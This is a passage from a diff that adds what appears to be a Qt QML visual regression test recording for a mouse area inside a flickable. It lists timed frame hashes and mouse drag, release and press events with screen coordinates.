+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4560
+ hash: "4a60ab820ca66548384b2257b21de8ec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4576
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4592
+ hash: "9f9f85d5f879b0e52ebc751d6668cfb8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4608
+ hash: "a569789b082296415321ba11c859abe5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 192; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4624
+ hash: "7a5f69a1eecb5de0fc2295cd287eb449"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4640
+ hash: "70e522f64236dfa4e1613ffc29b4b23e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4656
+ hash: "11120d6de575ffa639b6abb3af4afef7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4672
+ hash: "ab4c936a81299adf080f3b14f7e6be49"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 195; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 195; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4688
+ hash: "c29ab366ba3f11de6452949c11310b4a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4704
+ hash: "34ef0279e3731447f1df97784b47648a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 196; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 197; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "84df34cd981e0465aaaae47881de6c3b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 197; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 197; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4736
+ hash: "837deeb2a92648d830acf29e829ebb53"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4752
+ hash: "572cb62d69ccb973ea18d3b0eaff571b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 97
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4768
+ hash: "3d75735eefbf95f37e2a8605b9167ba1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 199; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 199; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4784
+ hash: "c37507a29e3a6d80446ad68f2d92f266"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 199; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4800
+ hash: "b66571ae47bf129be88dc66785a81a7d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4816
+ image: "mousearea-flickable.5.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4832
+ hash: "363eca81f97f20f14e8d480f83d2bc7d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 201; y: 121
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4848
+ hash: "72e75cfa62993593303b25cbff4af0e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 201; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4864
+ hash: "cc6619c7cd6e4e274df4729aad6cca46"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 133
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 135
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4880
+ hash: "0b16e524cd5253d07aa9b5855967fa71"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4896
+ hash: "091d1ad7aba4b662cba98214c98a4707"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4912
+ hash: "f334bfcc3af89bf1405762a215c54ea6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4928
+ hash: "7b41d651ad46341859d0188db341ae10"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 207; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4944
+ hash: "95b57cd3dac3bce56674f2c4143f42d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4960
+ hash: "1709dda08ce7494ff6d082cc5d93f0d2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 208; y: 175
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 177
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4976
+ hash: "390105f21526e1f8fda15666631578a1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4992
+ hash: "ee40862a59f14667c89fa62f380c10fb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5008
+ hash: "6d6cec95a6a2445d88b015ff76af032e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 192
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5024
+ hash: "e87bf82b6a7a928a27bffd9cb2dd7604"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 194
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 196
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5040
+ hash: "9a9d1e0b1d7b9291480b3ec641f354ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 198
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 200
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5056
+ hash: "d1372239a681d1fccc25257b4a02fb39"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 202
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5072
+ hash: "1f37473ab2fb0643e11e4a41a2ee4561"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 207
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5088
+ hash: "1533c6ff17e79a47a5d3510aa85bcf8a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 209
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5104
+ hash: "c5980322acf00a04efbd5e1b92aa0e98"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5120
+ hash: "b81183233961b34c2a3f21a249b0fbfb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 215
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5136
+ hash: "2dc2def0c748ac94d33d90d4a3610136"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 217
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5152
+ hash: "9f876eb93a16c24843dd6a5acd303ab3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 218
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5168
+ hash: "9f876eb93a16c24843dd6a5acd303ab3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 219
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 220
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5184
+ hash: "237dd62011f4253970b946b335e3fb71"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 222
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5200
+ hash: "6206ad3e633b6b1b068304caa4efe48a"
+ }
+ Frame {
+ msec: 5216
+ hash: "6206ad3e633b6b1b068304caa4efe48a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 210; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5232
+ hash: "1eb5f0e1aa014a38e6ca66ddfc2a076b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 224
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5248
+ hash: "1eb5f0e1aa014a38e6ca66ddfc2a076b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5264
+ hash: "d9e953d132330f8a58a190d61aec6ec3"
+ }
+ Frame {
+ msec: 5280
+ hash: "d9e953d132330f8a58a190d61aec6ec3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 226
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5296
+ hash: "d9e953d132330f8a58a190d61aec6ec3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5312
+ hash: "c1570ad4cb688ea51818e0a09e349daa"
+ }
+ Frame {
+ msec: 5328
+ hash: "c1570ad4cb688ea51818e0a09e349daa"
+ }
+ Frame {
+ msec: 5344
+ hash: "c1570ad4cb688ea51818e0a09e349daa"
+ }
+ Frame {
+ msec: 5360
+ hash: "c1570ad4cb688ea51818e0a09e349daa"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 209; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5376
+ hash: "c1570ad4cb688ea51818e0a09e349daa"
+ }
+ Frame {
+ msec: 5392
+ hash: "d9e953d132330f8a58a190d61aec6ec3"
+ }
+ Frame {
+ msec: 5408
+ hash: "1eb5f0e1aa014a38e6ca66ddfc2a076b"
+ }
+ Frame {
+ msec: 5424
+ hash: "9f876eb93a16c24843dd6a5acd303ab3"
+ }
+ Frame {
+ msec: 5440
+ hash: "4cad3c6caf8d3009f63923df897c4723"
+ }
+ Frame {
+ msec: 5456
+ hash: "79538d2f507fd6eea7ea1f990e90388a"
+ }
+ Frame {
+ msec: 5472
+ hash: "e87bf82b6a7a928a27bffd9cb2dd7604"
+ }
+ Frame {
+ msec: 5488
+ hash: "390105f21526e1f8fda15666631578a1"
+ }
+ Frame {
+ msec: 5504
+ hash: "7b41d651ad46341859d0188db341ae10"
+ }
+ Frame {
+ msec: 5520
+ hash: "091d1ad7aba4b662cba98214c98a4707"
+ }
+ Frame {
+ msec: 5536
+ hash: "1978cda418856b542d7c5a155b74f09c"
+ }
+ Frame {
+ msec: 5552
+ hash: "01bf03313a0229e810a24e2adbbe9775"
+ }
+ Frame {
+ msec: 5568
+ hash: "79650397b868019909b931a32a115823"
+ }
+ Frame {
+ msec: 5584
+ hash: "84df34cd981e0465aaaae47881de6c3b"
+ }
+ Frame {
+ msec: 5600
+ hash: "c29ab366ba3f11de6452949c11310b4a"
+ }
+ Frame {
+ msec: 5616
+ hash: "ab4c936a81299adf080f3b14f7e6be49"
+ }
+ Frame {
+ msec: 5632
+ hash: "11120d6de575ffa639b6abb3af4afef7"
+ }
+ Frame {
+ msec: 5648
+ hash: "70e522f64236dfa4e1613ffc29b4b23e"
+ }
+ Frame {
+ msec: 5664
+ hash: "86b32befe0dada5bdce82a7dd14777ce"
+ }
+ Frame {
+ msec: 5680
+ hash: "a569789b082296415321ba11c859abe5"
+ }
+ Frame {
+ msec: 5696
+ hash: "9f9f85d5f879b0e52ebc751d6668cfb8"
+ }
+ Frame {
+ msec: 5712
+ hash: "9f9f85d5f879b0e52ebc751d6668cfb8"
+ }
+ Frame {
+ msec: 5728
+ hash: "43fc85bb3b1501f5e12f1fedaaa14c64"
+ }
+ Frame {
+ msec: 5744
+ hash: "43fc85bb3b1501f5e12f1fedaaa14c64"
+ }
+ Frame {
+ msec: 5760
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 5776
+ image: "mousearea-flickable.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 5808
+ hash: "d75a43305e2884759ca41d7b1cbadf52"
+ }
+ Frame {
+ msec: 5824
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5840
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5856
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5872
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5888
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5904
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5920
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5936
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5952
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5968
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 5984
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6000
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6016
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6032
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6048
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6064
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6080
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6096
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6112
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6128
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6144
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6160
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6176
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6192
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6208
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6224
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6240
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6256
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6272
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6288
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6304
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6320
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6336
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6352
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Frame {
+ msec: 6368
+ hash: "cc1fd2f4c3be318052254a9b6be7a57b"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 188; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6384
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6400
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6416
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6432
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6448
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6464
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6480
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6496
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6512
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6528
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6544
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6560
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6576
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6592
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6608
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6624
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6640
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6656
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6672
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6688
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6704
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6720
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6736
+ image: "mousearea-flickable.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6768
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6784
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6800
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6816
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6832
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6848
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6864
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6880
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6896
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6912
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6928
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6944
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6960
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6976
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 6992
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7008
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7024
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7040
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7056
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7072
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7088
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7104
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7120
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7136
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7152
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7168
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7184
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7200
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7216
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7232
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7248
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7264
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7280
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7296
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7312
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7328
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7344
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7360
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7376
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7392
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7408
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7424
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7440
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7456
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7472
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7488
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7504
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7520
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7536
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7552
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7568
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7584
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7600
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7616
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7632
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7648
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
+ }
+ Frame {
+ msec: 7664
+ hash: "037386eb30a5e8d53a20a11258ee0f60"
